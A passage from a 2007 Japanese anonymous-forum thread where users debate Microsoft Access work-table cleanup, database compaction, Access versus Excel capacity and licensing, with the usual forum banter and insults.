自分は、あらかじめワークテーブルも設計段階で検討・作成(ワークmdbに)して
しまうので、削除する時はデータ削除です(次回使用時)。たまに最適化をする
ようにしてます。元々の議論はテーブル削除の方です。

724 :NAME IS NULL:2007/05/29(火) 21:35:38 ID:HOrmTUiC
最近ACCESSスレが伸びるね。ACCESS使い激増ですかね。早く義務教育でACCESS教えろよ。

725 :NAME IS NULL:2007/05/29(火) 21:43:10 ID:???
>>715
>放っておくとドンドン肥大化するだろうから、時々整理する必要はある

誰がやるんだよ、そんな面倒くさいことw
手離れできんだろ、そんなことじゃ。
作ったシステム、常に保守契約でもしてるのか?

726 :NAME IS NULL:2007/05/29(火) 21:51:43 ID:???
Accessの世界はバッドノウハウの塊だなw
ほかのデータベースに応用が利かない奴ばかりなのもうなづける。

リレーショナルデータベース(Access)使っているくせに
基本のselect文すら手書きできないような奴ばかりだしな。

727 :NAME IS NULL:2007/05/29(火) 21:57:16 ID:???
>>725
> >放っておくとドンドン肥大化するだろうから、時々整理する必要はある
> 誰がやるんだよ、そんな面倒くさいことw

 誰が手作業でやると言ったんだ。それくらい自動化できるだろう?


728 :NAME IS NULL:2007/05/29(火) 21:58:26 ID:3uO8wNjt
>>725
このツールをスタートアップにでもいれときゃよい。

http://www.zenko3.com/download/bcpex.html

729 :NAME IS NULL:2007/05/29(火) 22:18:05 ID:???
>>727
整理って最適化のことかよwwww

730 :NAME IS NULL:2007/05/29(火) 22:27:47 ID:???
>>726
Accessは開発ツールの一種だよ。そのなかにリレーショナルデータベースが含まれているだけ。
そりゃあ手書きじゃなきゃSQL文が書けないなら一生懸命覚えるかもしれないけれど、
クエリーという便利な機能があるのになんでそんなもの覚えなきゃいけないのか?
理論的に説明せよ(w


731 :NAME IS NULL:2007/05/29(火) 22:29:54 ID:???
>>729
> 整理って最適化のことかよwwww
だれがそんなことを言ったのか?まあ、最適化くらいで十分という気もするけど、
他にも方法はいろいろある。



732 :NAME IS NULL:2007/05/29(火) 22:31:43 ID:f10VQ2Jd
アクセスの使い方をを動画で解説してくるソフトってある?

733 :669:2007/05/29(火) 22:41:28 ID:???
>705 >707
 基本的に残したくないワークテーブルに対して Finalize 処理で開放を保証するために
クラスを使っている。ワークテーブルを都度消すのは、ユーザの手元、管理されていない
領域に情報が残ることを嫌うためで、そのため使い終わったらテーブルごと消すか中身を
全部 DELETE するのだ。
>715
 最適化不要で常に軽量高速なフォームを使えるようにするという目的のため、今は
「最適化済の mde(ade) を毎度コピーして使う」という方法を取っている。これなら壊れても
再起動すれば常に新品だ。テーブルの方は夜中に JRO で最適化する VBScript をタスクで
流して毎日スッキリ。

734 :NAME IS NULL:2007/05/29(火) 22:48:50 ID:???
実行計画考えてSQL書いてもクエリ使うと滅茶苦茶にされたりするけどなw

オフィスアプリケーションでもいいし、開発ツールでもいいし、
DBフロントエンドでも何でもいいけど、自分が全て正しいと思ってると恥ずかしいよ。
実質Access総合スレになってるんだから人それぞれの使い方があるわな。

テーブル操作のクラス化とか考える事はあるけど、作成と維持の
手間を考えると俺はペイ出来そうに無いな、楽しそうだしスッキリするとは思うけど。

735 :NAME IS NULL:2007/05/29(火) 22:57:13 ID:???
>>731
「肥大化」が抽象的過ぎるが、一定のレコード数とかファイル容量とか超えたら
ワークテーブル削除なり、レコード削除するようにしてるのか?

そんなことするぐらいなら、使い終わったら削除するほうが楽だろうが。

736 :NAME IS NULL:2007/05/30(水) 01:19:27 ID:???
> テーブル操作のクラス化とか考える事はあるけど、作成と維持の
> 手間を考えると俺はペイ出来そうに無いな、楽しそうだしスッキリするとは思うけど。

というか、普通はO/Rマッピングツールというものがあって
それを使うだけの話なんだが・・・
VBAだけだよ。いまだにそういうのがないのは。

737 :NAME IS NULL:2007/05/30(水) 01:32:14 ID:???
まともなデータベースなら、truncate があるから
それでデータ削除するだけなんだけどな。

Accessにはそういうものすらないから、
テーブルを消してから作り直せばいい。

とはいえ、Accessにはテーブルを作成するSQL文を作成してくれるウィザード(笑)がないから
手書きでSQL文を書ける人間にしか使えない高度(Access厨にとって)な技

でも、この方法だとマルチユーザーで使うと問題が出るけどな。
まともなデータベースなら一時テーブルを作るだけの話なんだが。
セッションごとに一時テーブルが作られるから、同時に一時テーブルをアクセスしたとしても
何の問題もない。

まあAccessユーザーは一人用の小さなツール作って満足してろってこった。

738 :NAME IS NULL:2007/05/30(水) 01:57:02 ID:???
jetはトランザクションログとかないんだから、truncateあっても意味無いじゃん。
あほかと。

739 :NAME IS NULL:2007/05/30(水) 02:32:52 ID:???
>>737
> とはいえ、Accessにはテーブルを作成するSQL文を作成してくれるウィザード(笑)がないから
> 手書きでSQL文を書ける人間にしか使えない高度(Access厨にとって)な技

まともなAccessユーザーなら普通にテーブル作成くらいクエリーで作れるぞ。
ウィザードなんかかえって面倒だ。

> でも、この方法だとマルチユーザーで使うと問題が出るけどな。
> まともなデータベースなら一時テーブルを作るだけの話なんだが。
> セッションごとに一時テーブルが作られるから、同時に一時テーブルをアクセスしたとしても
> 何の問題もない。

まともなやつならワークテーブルを共有しようとは思わん。
ローカルに持つに決まっているだろうが・・・・・

> まあAccessユーザーは一人用の小さなツール作って満足してろってこった。

そりゃあ、Accessで大規模開発が無理くらい十分承知の上だ。

だいたい目的の違うものを並べて比較しても意味がないということに気づかないのか?
まともなデーターベースがなんなのか知らないけれど、
それでは手軽で安価な開発ができないからAccessがあるわけで、
データーベースとして見れば低性能だってくらいは百も承知だ。

それとも、そのまともなデーターベースとやらには
簡単に自由な印刷ができるレポートツールはついているのか?


740 :NAME IS NULL:2007/05/30(水) 02:38:56 ID:???
>>737
「三輪車は子供の乗りもんだろ、ちょwwwおまwwwww」
とか言ってるのと同じことをほざいてる自覚はあるか?w

少なくともこのスレ住人の中でお前の技術が底辺の位置にあることに気が付いたほうがいいぞw

741 :NAME IS NULL:2007/05/30(水) 02:46:25 ID:???
>>735
今のところ、そのシステムを終了する前に最適化するだけ。
理想的な方法ではないことは十分承知だが、
とりあえず、それで問題がないし重要なデータが入るわけでもないので
まあいいかと・・・・・


742 :NAME IS NULL:2007/05/30(水) 03:01:34 ID:???
>>733
> ワークテーブルを都度消すのは、ユーザの手元、管理されていない
> 領域に情報が残ることを嫌うためで、そのため使い終わったらテーブルごと消すか中身を
> 全部 DELETE するのだ。

ワークテーブルに情報が残ることが嫌なら、使用直後にレコードを削除すれば良さそうなものだ。
ワークテーブルの構造を変えられるのが嫌ってならわかるが、
それはユーザーがバカすぎるって気もする。


743 :NAME IS NULL:2007/05/30(水) 03:09:21 ID:???
>>741
他にも方法はあるって言っておいて、やってるのは最適化だけって...
それ、ワークテーブル関係ないじゃん...

744 :NAME IS NULL:2007/05/30(水) 03:10:54 ID:???
>>740
オイオイ・・・・いくらなんでも三輪車は無いだろう?
せめて軽とかバイクとかにしてくれ(w
要するにバイク便では手紙くらいしか運べないだろう?
土石の運搬には使えないぞとトラックの運ちゃんがほざいているようなもんだ。
トラックが都会の渋滞に巻き込まれて身動き取れないところで
バイクが横をすり抜けていくと・・・・・

745 :NAME IS NULL:2007/05/30(水) 03:17:22 ID:???
>>743
> 他にも方法はあるって言っておいて、やってるのは最適化だけって...
別にいいだろ?それで特に問題なければ?
例えばテーブルの構造だけのmdbを作っといてそれをその都度コピーすれば
一番すっきりするかもしれないけれど、別に最適化だけでも十分だと思ったりする。
ワークテーブルなんて壊れたら作り直せばいいだけなんだから。

746 :NAME IS NULL:2007/05/30(水) 03:32:20 ID:tdfB0nEw
ACCESSは老若男女皆使えるから意味が有るのだよ。他のデータベースソフトは大衆的じゃない。徹底的に大衆的なソフトだから偉大で最強なんだよ。

747 :NAME IS NULL:2007/05/30(水) 08:35:53 ID:???
>>746
そうやって偉大だとか最強とかつけるから物議を醸すんだよ。
大衆的なものが偉大で最強ってのは思想信条みたいなものだろう?
自分の脳内だけにしておけよ。


748 :NAME IS NULL:2007/05/30(水) 08:58:06 ID:???
>>732
> アクセスの使い方をを動画で解説してくるソフトってある?
http://dougadewakaru.com/shopdetail/004000000002/order/
なんか怪しさを満載しているような気がする。


749 :NAME IS NULL:2007/05/30(水) 10:09:18 ID:???
>>745
途中で別人混じってるなら申し訳ないが、

「肥大化するから整理する必要はある」

「面倒くさいだろ」

「自動化できるじゃん」

「なんだ最適化か」

「だれがそんなこと言った、ほかにもあんだろ。まぁ、最適化もありかもな」

「他の方法教えて。実際には何やってるの?」

「最適化」

あふぉかと。

750 :NAME IS NULL:2007/05/30(水) 10:23:26 ID:???
バカはスルー

751 :NAME IS NULL:2007/05/30(水) 12:04:17 ID:???
まず他のデーターベースって話は無しにしようや。
具体的に何と比較している話なのかわからなければ議論にもならん。
Accessと比較するとしたら桐、ファイルメーカー、MRDB、dBMAGIC、4Dあたりだと思う。
MySQL,PostgreSQLはそれだけでは全然比較にならない。
ましてやOracle,db2などと比較するなどまったく不毛の議論だ。
いくら良いと言われてもそう簡単に乗り換えられるわけがない。
MySQL,PostgreSQLあたりなら組み合わせによっては良いかもしれない。

752 :NAME IS NULL:2007/05/30(水) 12:33:44 ID:6AFL0rIl
>>745
オレは最適化・コピーの両方やってる。普段は最適化だけで充分。
管理されてない領域じゃなくて、システムの1つとしてワークmdbを用意してるから、
ユーザーに何か言われたことはないなぁ。システムのmdbにワークを作らないの
で、こっちの最適化はある程度ユーザー任せ。専用のショートカットアイコンを
用意してあげてる。

753 :NAME IS NULL:2007/05/30(水) 12:55:23 ID:???
>>752
> システムのmdbにワークを作らない

http://www.accessclub.jp/vbakaisetu/07.html

だったら、こんなふうにプログラムに組んでしまったら?
システム終了時にワーク用mdbを最適化しておけば、
ユーザー任せにすることもないだろう?


754 :NAME IS NULL:2007/05/30(水) 13:55:16 ID:???
>>697
亀だが、去年の11/23までは

【まだまだ】Microsoft Access クエリ3【使える】
http://pc11.2ch.net/test/read.cgi/db/1120779000/

ってスレもあったんだけど981でDAT落ち。ここは実質 Access 4スレ目

(歴代スレ)
Microsoft Access
http://pc5.2ch.net/test/read.cgi/db/1056952414/
http://pc5.2ch.net/db/kako/1056/10569/1056952414.html

【まだまだ】Microsoft Access クエリ2【使える】
http://pc8.2ch.net/test/read.cgi/db/1089161114/

755 :NAME IS NULL:2007/05/30(水) 16:19:44 ID:???
じゃあうんこ製造機の溜まり場になるわけだ

756 :NAME IS NULL:2007/05/30(水) 17:10:50 ID:6AFL0rIl
>>753
いや、ユーザー任せはシステムのmdbで、ワークはvba使ってあるタイミングで
やってるよ。

757 :NAME IS NULL:2007/05/30(水) 20:26:50 ID:???
>>754
スレ立ては乙なんだけど、すなおにクエリ4にしておいてほしかった。orz
こういうDQNカモ-ンщ(゚ロ゚щ) みたいなスレ鯛だと、>737 や >755 の
ようなクズを呼び込むだけつー気がするよ。。。

758 :NAME IS NULL:2007/05/30(水) 22:03:51 ID:054ldVjH
>>748
サンプルみたけど、すごいな。
解説の声が普通のおっさんじゃん。
ちょっと笑っちゃったよ。

759 :NAME IS NULL:2007/05/31(木) 00:05:31 ID:???
>>758
だろ?
よく言えば手作り感満載なんだけど、ちょっと買う気にならない代物だなあ?
まあ、騙されたと思って買ってみるのもいいかもしれない。
まあ、「サルでもわかるAccess」(あったけ?)を買ってみてもわからない人にはいいかもしれない。


760 :NAME IS NULL:2007/05/31(木) 07:36:19 ID:???
よくアカデミック版をオークションで売っているのだが、
これは通常版と比べてなにが違うのだろう?


761 :NAME IS NULL:2007/05/31(木) 08:59:07 ID:???
>>760
ライセンス許諾の条件。


762 :NAME IS NULL:2007/05/31(木) 18:20:52 ID:/AVaMbjz
学生と教育関連しか使えない
不便。通常版の値段下げろ。

763 :NAME IS NULL:2007/05/31(木) 18:27:56 ID:???
何いってんだ、MSoffice って無料だろ

764 :NAME IS NULL:2007/06/01(金) 10:22:38 ID:???
>>762
人生日々勉強。俺様の教育に使うから教育関係。
・・・・つうのはだめだろうなあ(w
要は同じ者を教育関係者には安く売るってだけのことか?


765 :NAME IS NULL:2007/06/01(金) 14:28:46 ID:???
>>764
要は教材用途としての販売ってことだろ。

766 :NAME IS NULL:2007/06/01(金) 15:07:30 ID:???
ちげーよw
ユーザを限定しているだけで用途は限定してない。
教材用途限定だったら、学校職員が事務作業に使ったりできねーだろ。

ttp://www.microsoft.com/japan/education/ap/default.mspx

767 :NAME IS NULL:2007/06/02(土) 13:19:33 ID:???
そうそう。
うちのヨメは大学の研究室におるが
アカデミックパックじゃよ。

768 :ac:2007/06/02(土) 13:31:10 ID:pKVIDTKn
>>455の質問をしたものです。
アイデアをいただきましたみなさま大変ありがとうございました。
その後いろいろ考えて解決しましたので報告いたします。

簡単にいうと,テーブルをデータ入力用とデータ蓄積用に分けました。
入力用テーブルどうしでリレーションシップを設定しておき,入力する前に蓄
積用テーブルから入力用テーブルにデータをコピーしておくことで,思い通り
の処理を実現できました。


769 :NAME IS NULL:2007/06/02(土) 13:57:01 ID:???
アカデミックパックのことを嫁呼ばわりするとは
そうとう病んでるね

770 :NAME IS NULL:2007/06/02(土) 21:22:51 ID:TJNmuqlz
>>768

どう解決されたのかようわからん。

771 :NAME IS NULL:2007/06/02(土) 22:37:38 ID:???
6万件に満たないならばエクセルでやればいい。

772 :NAME IS NULL:2007/06/02(土) 22:40:02 ID:???
AccessよりExcelの方が扱えるレコード数ずっと多いぞ

773 :NAME IS NULL:2007/06/02(土) 22:55:27 ID:???
   ∩___∩         |
   | ノ\     ヽ        |
  /  ●゛  ● |        |
  | ∪  ( _●_) ミ       j
 彡、   |∪|   |        J
/     ∩ノ ⊃  ヽ
(  \ / _ノ |  |
.\ “  /__|  |
  \ /___ /

774 :ac:2007/06/03(日) 01:50:17 ID:PvCIuXbH
>>770
例えば
注文(受注番号[主キー],取引先コード,出荷日)
取引先マスター(取引先コード[主キー],取引先名)
という二つのテーブルがあるとして取引先コードどうしをリレーションシップ
でつなぎます。

この状態で注文入力フォームを作ると,取引先コードを入力した時点で取引先
名が表示されるようにできます。この時,フォームで取引先名を書き換えるこ
とができますが,それをすると「取引先マスター」自身が書き換えられてしま
うので不都合です。

このため,「取引先マスター」を一度ワークテーブルにコピーして,そのワー
クテーブルと「注文」とをリレーションシップでつないで注文入力フォームを
作りました。これで「取引先マスター」に影響を与えることなく,取引先名を
書き換え放題になりました。

フォームで入力後,保存ボタンを押せば,「注文」と「取引先マスターのワー
クテーブル」をクエリで結合して,「注文データ」という正規化しないテーブ
ルに保存します。そして「注文」と「取引先マスターのワークテーブル」の中
身を削除して終わりです。


775 :ac:2007/06/03(日) 02:23:52 ID:PvCIuXbH
>>771
6万件に満たないデータであってもエクセルよりアクセスを使いたいと思うこ
とありませんか?
例えば,注文を管理する場合,エクセルだと次の2通りの方法になると思いま
す。

方法1
注文番号 送り先 出荷日 注文明細
1    埼玉  6/3 パソコン*2,プリンタ*1
2    東京  6/4 マウス*1

方法2
注文番号 送り先 出荷日 商品   数量
1    埼玉  6/3 パソコン 2
1    埼玉  6/3 プリンタ 1
2    東京  6/4 マウス  1


方法1だと商品別の注文数合計を計算しにくくなってしまいます。
方法2だと注文番号,送り先,出荷日を何度も繰り返し入力することになるの
で,間違う可能性が高くなるし,ちょっと変更したい時も対象となる行を全部
探し出さないといけないのが大変ではないですか?


776 :NAME IS NULL:2007/06/03(日) 03:18:36 ID:Tqn9iSNq
>>774でやっている事をExcelでやろうとしたら、どうするの。

777 :NAME IS NULL:2007/06/03(日) 03:49:59 ID:???
MySQLでいいや

778 :ac:2007/06/03(日) 07:09:34 ID:PvCIuXbH
>>776
エクセルは非正規化データを簡単に入力できますよ。普通に入力するだけです。

アクセスはデータを正規化してきれいに管理できるのが魅力なんですけど,あ
まりに正規化を強要されて不自由に感じたんで,少しだけ崩したかったのです。


779 :NAME IS NULL:2007/06/03(日) 09:13:38 ID:???
>774
 不便・不自由・データが入れづらいと感じただけで正規化を崩すような人の設計する
テーブルは、そもそも正しく正規化されていない法則。でも、第一正規形->非正規形に
する集合関数(>775 の 方法2->方法1 のようにしてくれる)は欲しいと思うこの頃。

 取引先マスタは、「登録済みの取引先のみしか入力できなくするため」じゃなく、
「入力を便利にするため」に使っているのかな。それだったら、取引先マスタへの
参照整合性制約を張る必要がそもそも無いと思う。
 あと、注文入力フォームのレコードソースに取引先マスターを引く必要って
あるのカナ?取引先選択コンボボックスのレコードソースにするだけで良いと思うけど。

780 :NAME IS NULL:2007/06/03(日) 10:08:42 ID:???
いつも思うんだが、なぜ、表計算とRDBMSを一緒の土台で議論しようとするんだか。
せいぜい、表計算であるExcelが場合によっては簡易データベースの代替になるよね、
議論はで終わりだろうが。

781 :NAME IS NULL:2007/06/03(日) 11:02:22 ID:???
>>772
Accessは100万越えるとまともに動かない
Excelは100万越えてもまともに動くね、2007からだけど

782 :NAME IS NULL:2007/06/03(日) 12:05:25 ID:???
> いつも思うんだが、なぜ、表計算とRDBMSを一緒の土台で議論しようとするんだか。

だって両方ともその程度の人間が使うものでしょ?

783 :NAME IS NULL:2007/06/03(日) 12:18:19 ID:???
>>778
そんなアナタは、桐にしとけ

784 :NAME IS NULL:2007/06/03(日) 12:33:48 ID:Tqn9iSNq
>>780
国民全体がRDBMSの知識が無さ過ぎる。
高校の情報とやらの時間では教えているのかね。

785 :NAME IS NULL:2007/06/03(日) 12:35:44 ID:???
そんなの余計なお世話

786 :NAME IS NULL:2007/06/03(日) 14:02:01 ID:Tqn9iSNq
RDBMSの知識があれば、社保庁の失敗は無い。
現代社会にとって必要不可欠の知識。

787 :NAME IS NULL:2007/06/03(日) 14:29:50 ID:???
>>781
あのさ、Excel 2003まではふつうに使えていた表が、Excel 2007で
劇的に遅くなって使い物にならない、とユーザーから苦情が噴出
しているこの時期に、そういう自分のアホを晒すだけのような発言
をしても笑い者になるだけだよ。

788 :NAME IS NULL:2007/06/03(日) 14:30:45 ID:???
入力せずに原簿を破棄したんだから関係ない

789 :NAME IS NULL:2007/06/03(日) 15:06:14 ID:???
>>781
ちなみに100万件のExcelのファイルは何メガなんだ?

790 :NAME IS NULL:2007/06/03(日) 16:43:46 ID:K1ZtNJm8
excelって65536行までだと思ってた。
最近は違うんだねw

791 :NAME IS NULL:2007/06/03(日) 18:05:58 ID:???
>>790
2007だか、その前のバージョンで6万件の限界がなくなったのは知ってる。
100万件を実運用するとどうなるかは知らないがw

792 :NAME IS NULL:2007/06/03(日) 19:42:12 ID:???
ぼくはやpっぱりMySQLかと

793 :NAME IS NULL:2007/06/04(月) 11:00:05 ID:???
ACCESS 2007でMDB(97-2003互換形式)の最適化ってどうやるの?

794 :NAME IS NULL:2007/06/04(月) 11:29:33 ID:???
メニューが変わってコマンドがどこにあるか分らないという事なら
officeボタン(左上)−管理−最適化/修復

795 :NAME IS NULL:2007/06/04(月) 11:32:52 ID:???
>>794
d

796 :767:2007/06/04(月) 12:02:45 ID:???
>>769
爽やかな笑いを有難う。いや本当。

797 :NAME IS NULL:2007/06/04(月) 21:53:01 ID:???
Excelで65000どころか数千件のデータ入れた段階で遅くなって使い物にならなくなった
俺は帝農なんでしょうか?


798 :NAME IS NULL:2007/06/04(月) 21:55:21 ID:???
うん

799 :NAME IS NULL:2007/06/04(月) 22:05:33 ID:???
Excelは任意の範囲にSQL打てたら相当使い勝手良くなると思うんだけどね。

自ファイルを外部データ扱いにするとどうも挙動不審になるし、
わざわざ別ファイルに書き出す位ならJet使ってしまうな。

800 :NAME IS NULL:2007/06/04(月) 22:58:04 ID:???
結局、excelで100万件稼動させてるって豪語していた馬鹿はどこいったんだ...
本当なら、いろいろ聞きたかったのにw

801 :NAME IS NULL:2007/06/04(月) 23:00:46 ID:???
>>800
呼んだ?

802 :NAME IS NULL:2007/06/04(月) 23:16:00 ID:???
>>801
まずは >>789 の質問に答えてくれ。



803 :NAME IS NULL:2007/06/05(火) 00:01:16 ID:???
>>801は理論上の限界値と実際の限界との区別もつかない
亞フォということで桶?


804 :NAME IS NULL:2007/06/05(火) 00:10:35 ID:???
なんだよー
まさか、ファイル容量聞かれて、あわてて100万件生成してるわけじゃないよな?w

「今出ました〜」
みたいなw

805 :NAME IS NULL:2007/06/05(火) 00:12:30 ID:???
いるんだよなあ?やたらに馬鹿でかい表をExcelでつくるやつ。
それで遅いから新しいPCに入れ替える。
そしたらもっと大きい表をつくって
遅いから新しいPCに入れ替える。
そしたら・・・・・(エンドレスで続く)

資源の無駄遣いだからヤメローーーー


806 :NAME IS NULL:2007/06/05(火) 00:14:46 ID:???
1048576行*16384列の全部に数字0を埋めて保存すると・・・
.xlsxって要するに.xhtmlの.zipなんで結構ちっちゃくなるかもしれんw

807 :NAME IS NULL:2007/06/05(火) 00:21:57 ID:???
>>806
そうはいっても、メモリに呼び出した段階で圧縮は解けるわけだから、
いったいどれだけの容量のメモリが必要なんだ?
仮想記憶が利用できるたって・・・・・もう考えるのもいや(w
だいたい表計算とデータベースの違いもわからないやつはこのスレにくるな!


808 :NAME IS NULL:2007/06/05(火) 00:23:47 ID:???
>>804
それで、物理容量に引っかかってリソースがたりませんとか言われて大慌て・・・・・
つうのがパターンかな?


809 :NAME IS NULL:2007/06/05(火) 08:35:46 ID:???
EXcel100万行だって2G行かねえだろ

810 :NAME IS NULL:2007/06/05(火) 11:01:15 ID:???
editerにもよるが、2GBだったらテキストファイル開くのも大変なわけでw
実運用に耐えられるのかなぁ、2GBのexcelファイル。

早く、運用してる奴、再降臨しないかなぁ。

811 :NAME IS NULL:2007/06/05(火) 11:12:39 ID:???
数メガじゃねーの?

812 :NAME IS NULL:2007/06/05(火) 11:44:05 ID:???
ちなみに、今使ってる顧客データ10万件を10倍にしてテキスト出力したら250MB

顧客データだけってことはないだろうから、同じようなデータ4つ持ったらテキストファイルで1GB。
それがexcelなら....

813 :NAME IS NULL:2007/06/05(火) 13:01:44 ID:???
>>806
1048576行*1列に数字0を埋めたら、数MBだろ
xlsxなら極少

814 :NAME IS NULL:2007/06/05(火) 20:01:24 ID:???
>>813
つまり100万件というのはそういう実用にならない使い方をすれば可能だって言う理論値だということだな。
まあ、いい加減Excelマンセーのアフォ相手にするのやめようぜ。



815 :NAME IS NULL:2007/06/06(水) 08:46:00 ID:???
それはAccessも同様なんだが

816 :NAME IS NULL:2007/06/06(水) 13:28:54 ID:???
>>815
>>58 はAccessで120万件使っているそうだ。


817 :NAME IS NULL:2007/06/06(水) 21:07:23 ID:???
Accessも同様ってアフォかw

Excelは常に全データ読み込む。
Accessは必要最小限のデータしか読み込まない。

Excelは全データすべてを頭から検索する。
Accessはインデックスを使って効率よく数十倍、数百倍以上のスピードで検索する。

それくらいもしらないのか。

818 :NAME IS NULL:2007/06/06(水) 21:43:33 ID:???
>>817
Excelしか使えない。Excelでなんでも出来たらいい。そうだExcelでなんでも出来るに違いない。
Excelでなんでも出来る。じゃあ、なんでAccessなんてあるの?
という思考回路の人がいるんだよ。
Excelのマクロがちょっとわかるとプログラマー気取り、俺は天才だあーーー
でもAccessはわからない。俺は天才なのにわからないとはAccessが悪い。

いい加減、Excelマンセーは巣に戻れ。

819 :NAME IS NULL:2007/06/06(水) 21:59:54 ID:???
 CSVや固定長テキストファイルだって、別ファイルにインデックスを作成すれば
高速で検索できるというこのご時世に。

820 :NAME IS NULL:2007/06/06(水) 22:37:24 ID:???
>>819
このご時世にって・・・・・
そんなことはずーーーーーーと前から出来ると思うけど?
でなにが言いたいの?


821 :NAME IS NULL:2007/06/06(水) 22:54:10 ID:???
WordのVBAでどんなアプリも作りこみしてやんよ

822 :NAME IS NULL:2007/06/06(水) 22:59:38 ID:???
>>819
じゃあ、そのインデックスを使って
名前に宮崎が入っているデータを抽出する方法をおしえてくれ。
住所に宮崎が入っているデータもあるけど、誤爆するなよw

823 :NAME IS NULL:2007/06/06(水) 23:07:53 ID:???
性別に宮崎が入っているデータを一瞬で抽出できるぞ

824 :NAME IS NULL:2007/06/06(水) 23:10:08 ID:???
Excelで100万件処理できるって豪語するやつが消えたと思ったら、
こんどはWordでどんなアプリも作れるってか?
適材適所という言葉を知らないにもほどがある。
まあ、じゃあWordで人工知能のプログラムでも書いてもらおうか(w


825 :NAME IS NULL:2007/06/06(水) 23:58:53 ID:???
じゃあAccessで人工知能書いて

826 :NAME IS NULL:2007/06/07(木) 00:04:27 ID:???
>>825
accessでなんでも書けるなんて誰が言った?
accessでできることには限界があるって誰もが認めているのだけど?


827 :NAME IS NULL:2007/06/07(木) 00:17:00 ID:???
dbのスレで人工知能のロジックを語る愚


828 :NAME IS NULL:2007/06/07(木) 00:26:34 ID:???
>>821
Word VBAでインデックス型の検索エンジン作ってくれ。いやまぢで

829 :NAME IS NULL:2007/06/07(木) 00:29:03 ID:???
>>827
それを言うならAccessのスレでWordやExcelを語るお馬鹿さんたちと言うべきだろう?


830 :NAME IS NULL:2007/06/07(木) 00:45:04 ID:???
Accessそのものがデータベースとしてくそなわけだが、
Excelなんかさらにデータベースの足元にも及びません。

ごっちゃにして考えるやつ、アフォすぎ。

831 :NAME IS NULL:2007/06/07(木) 00:46:44 ID:???
SQLite >>>>>>越えられない壁>>>>>>> Acess >超えられない時空>Excel

832 :NAME IS NULL:2007/06/07(木) 01:36:40 ID:???
5000万件の年金記録照合プログラムをAccseeで作ってみようぜ。

833 :NAME IS NULL:2007/06/07(木) 07:00:42 ID:???
きっと、こういう馬鹿が年金記録を抹消したんだろうなあ?


834 :NAME IS NULL:2007/06/07(木) 08:58:51 ID:???
>>833
抹消はされてないでしょ。
どこの誰か分からなくなったデータがあるだけで。

あれは「個人を識別できる主キーが無いと大変なことになるよ」
という例ではないかと。

フリガナや性別など元データにない情報を現場の判断で適当に入力して
しかもそれで齟齬が生じて、一人の個人のデータとして呼び出せないって
どこまでタコな設計かと。

年金手帳番号なんて個人でいくつも持っていたりする上に普通覚えてないし。

色々問題はあるけど、やはり国民総背番号制にするしか…

835 :NAME IS NULL:2007/06/07(木) 09:18:17 ID:???
>>834
設計ってより運用の問題じゃね?

836 :NAME IS NULL:2007/06/07(木) 09:30:36 ID:???
そして、国民総背番号に入力ミスが多発と

837 :NAME IS NULL:2007/06/07(木) 12:14:52 ID:???
>>836
それって運用の問題じゃね?

838 :NAME IS NULL:2007/06/07(木) 12:51:53 ID:qO/T+JmI
入力ミスを防ぐ設計をしなきゃどうしょうもない。

839 :NAME IS NULL:2007/06/07(木) 22:25:14 ID:???
インタフェースも運用方法もデータ構造もすべてがだめだったとw

840 :NAME IS NULL:2007/06/08(金) 17:19:20 ID:???
Accessが少しわかった位で小山の大将かよ、おまえら

ヘドが出る ( ゚д゚)、ペッ  3流PG未満めが

841 :NAME IS NULL:2007/06/08(金) 19:30:39 ID:???
>>840
>小山の大将

また、そんな誰も知らないような土地を持ち出さんでもw

842 :NAME IS NULL:2007/06/08(金) 20:07:23 ID:???
逆に考えるんだ。
3流PG未満のレベルでなんか凄いと勘違いされ
それなりの待遇を得ているとしたらそれはそれで勝ちだと思うぞ。

SASとか導入してAccess以下の使い方しか出来ねー奴らの方がヘドが出るな俺は。

843 :NAME IS NULL:2007/06/08(金) 21:17:20 ID:???
>>841
http://www.city.oyama.tochigi.jp/Cgi-bin/odb-get.exe?WIT_template=AM040000
栃木県か?知らないなあ?(w


844 :NAME IS NULL:2007/06/08(金) 21:19:13 ID:???
>>841
コーヒー吹いた

845 :NAME IS NULL:2007/06/08(金) 22:51:11 ID:???
http://r.tabelog.com/tochigi/rstdtl/9002167/
小山市の居酒屋大将。
イヤアーーー、実にマイナーですな(w
わらかしてくれた >>841 に拍手。



846 :NAME IS NULL:2007/06/08(金) 22:58:48 ID:???
>>845
よくそんなモン探してきたなwww


847 :NAME IS NULL:2007/06/08(金) 23:11:28 ID:???
小山遊園地お前ら知らないのかよ・・・

848 :NAME IS NULL:2007/06/08(金) 23:44:18 ID:???
>>847
知らないなあ?旭山動物園なら知っているけどなあ?


849 :NAME IS NULL:2007/06/09(土) 00:33:58 ID:I0vTiO8L
>>847
金造…?

850 :NAME IS NULL:2007/06/09(土) 21:37:07 ID:???
>>849

金造は比較的最近。
頻繁にCMやっていたのは、30年以上前ではなかろうか。

って、なぜ知っている俺!?


851 :NAME IS NULL:2007/06/09(土) 22:02:04 ID:???
ジジイだからだろ

852 :NAME IS NULL:2007/06/10(日) 08:50:33 ID:???
なるほどAccessのスレにAccessの悪口を書いているのは餓鬼だからか?
ならしょうがない。勘弁してヤッカ?
さて、だんだんなんのスレだかわからなくなったなあ(w


853 :NAME IS NULL:2007/06/10(日) 11:35:00 ID:???
あくせくするスレだろ?w

854 :NAME IS NULL:2007/06/10(日) 13:14:36 ID:z6puy8iJ
アクセスXPを使ってます
SQLサーバからデータをインポートしたんだけど
主キーの情報は引き継がれないんでしょうか


855 :NAME IS NULL:2007/06/10(日) 13:15:39 ID:???
新製品か?

856 :NAME IS NULL:2007/06/10(日) 13:44:24 ID:???
>>854
主キーなんて別にいくらでも設定しなおせば良さそうなものだけど、
ダメなのか?


857 :NAME IS NULL:2007/06/10(日) 13:44:38 ID:???
OfficeXPに入ってるAccess2003のことだと思うけどインポート直後は主キーなしテーブルだから
自分はVBAでキー作成してる

858 :NAME IS NULL:2007/06/10(日) 14:10:01 ID:???
>>857
ぱくらせろ

859 :NAME IS NULL:2007/06/10(日) 14:23:23 ID:???
テーブルにキーも張れねえのか チンカスだな

860 :NAME IS NULL:2007/06/10(日) 14:37:24 ID:???
机に鍵なんかつけてどうするんだ?
馬鹿かおまえ。

861 :NAME IS NULL:2007/06/10(日) 16:40:07 ID:???
>>858
CreateIndexくらい自分で調べたほうが良いんじゃない?
なんでもパクっていると実力身につかないよ。


862 :NAME IS NULL:2007/06/10(日) 16:42:24 ID:???
OfficeXPにはAccess2003が入っているのか。d

863 :NAME IS NULL:2007/06/10(日) 16:44:59 ID:???
>>861
だからここで調べている。

